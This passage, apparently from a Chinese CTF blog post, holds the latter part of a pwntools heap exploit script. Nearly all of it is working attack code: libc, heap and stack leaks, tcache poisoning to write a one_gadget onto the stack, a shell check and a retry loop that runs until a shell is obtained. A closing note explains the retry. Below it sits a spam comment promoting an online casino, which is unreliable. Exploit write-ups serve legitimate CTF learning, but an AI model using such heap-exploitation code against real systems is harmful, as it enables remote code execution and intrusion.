        Set(3, 2, b"B"*8)

        Get(3, 0)
        io.recvuntil(b"Value: ", timeout=2.0)
        libc_leak = u64(io.recvn(6) + b"\x00\x00")
        libc_base = libc_leak - 0x203b20
        log.info(f"[libc] leak={hex(libc_leak)} base={hex(libc_base)}")

        # make 0x230 size tcachebin #1
        New(4, 0xca0//0xc)

        New(5, 4)
        Set(5, 4, b"A"*8)
        Set(5, 1, b"B"*8)
        Set(5, 2, b"C"*8)
        Set(5, 3, b"D"*8)

        New(6, 3)
        Set(6, 3, b"A"*8)
        Set(6, 6, b"B"*8)
        Set(6, 9, b"C"*8)
        Set(6, 0, p64(0x251))
        New(7, 0xd41//0xc)

        # heap leak
        Set(6, 0, p64(0x500000251))
        Get(5, 5)
        io.recvuntil(b"Value: ", timeout=2.0)
        heap_leak = u64(io.recvn(5) + b"\x00"*3)
        log.info(f"[heap] leak={hex(heap_leak)}")

        # make 0x230 size tcachebin #2
        New(8, 4)
        Set(8, 4, b"A"*8)
        Set(8, 1, b"B"*8)
        Set(8, 2, b"C"*8)
        Set(8, 3, b"D"*8)

        New(9, 3)
        Set(9, 3, b"A"*8)
        Set(9, 6, b"B"*8)
        Set(9, 9, b"C"*8)
        Set(9, 0, p64(0x251))
        New(10, 0xd41//0xc)

        # tcache poisoning (KEEP original constants)
        tcache_addr = ((heap_leak - 0x21) << 12) + 0x10
        Set(9, 0, p64(0x500000251))
        Set(8, 5, p64(tcache_addr ^ (heap_leak + 0x22)))
        New(11, (0x231-0x10)//0xc)
        New(12, (0x231-0x10)//0xc)

        # write environ address in tcache directly
        environ_addr = libc_base + libc.sym.environ
        Set(12, 0, p64(0x1111111111111111))
        Set(12, 13, p64(environ_addr - 0x28))

        # stack leak
        New(13, 7)
        Set(13, 7, b"A"*8)
        Set(13, 1, b"B"*8)
        Set(13, 2, b"C"*8)
        Get(13, 0)
        io.recvuntil(b"Value: ", timeout=2.0)
        stack_leak = u64(io.recvn(6) + b"\x00"*2)
        log.info(f"[stack] leak={hex(stack_leak)}")

        # write null in stack for one_gadget
        Set(12, 1, p64(0x1111111111111111))
        Set(12, 17, p64(stack_leak - 0x18))  # for one_gadget
        New(14, 15)

        # write one gadget in stack
        one_gadget = libc_base + 0x583dc  # posix_spawn gadget (original)
        Set(12, 2, p64(0x1111111111111111))
        Set(12, 21, p64(stack_leak - 0x1e8))
        New(15, 23)
        Set(15, 0, b"A"*8)
        Set(15, 32767, p64(one_gadget))

        # start one gadget
        Exit()

        # quick shell check
        try:
            sleep(0.2)
            io.sendline(b"echo PWNED")
            data = io.recvuntil(b"PWNED", timeout=2.0)
            if b"PWNED" not in data:
                raise EOFError("No shell echo")
        except Exception:
            raise

        log.success("Shell obtained.")
        return io

    except Exception as e:
        try:
            io.close()
        except Exception:
            pass
        return None

# -------- retry until success (without changing original payload data) --------
if __name__ == "__main__":
    attempt = 1
    while True:
        log.info(f"Attempt #{attempt}")
        tube = run_once()
        if tube is not None:
            log.success(f"Exploit succeeded on attempt #{attempt}")
            tube.interactive()
            break
        log.warning(f"Attempt #{attempt} failed, retrying...")
        attempt += 1

这个exp堆利用脚本不是“天然 100% 稳定”,因为它踩了多处“堆状态刚刚好”的前提,所以我加了失败重试的循环判定

评论

  1. Macintosh Chrome
    3 天前
    2025-12-13 23:21:13

    It’s smart to be extra cautious with online casinos – security is key! Seeing platforms like Arion Play emphasize responsible gaming & risk management is reassuring. Check out arion play slot download options, but always verify the site’s legitimacy first! A little diligence goes a long way.

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇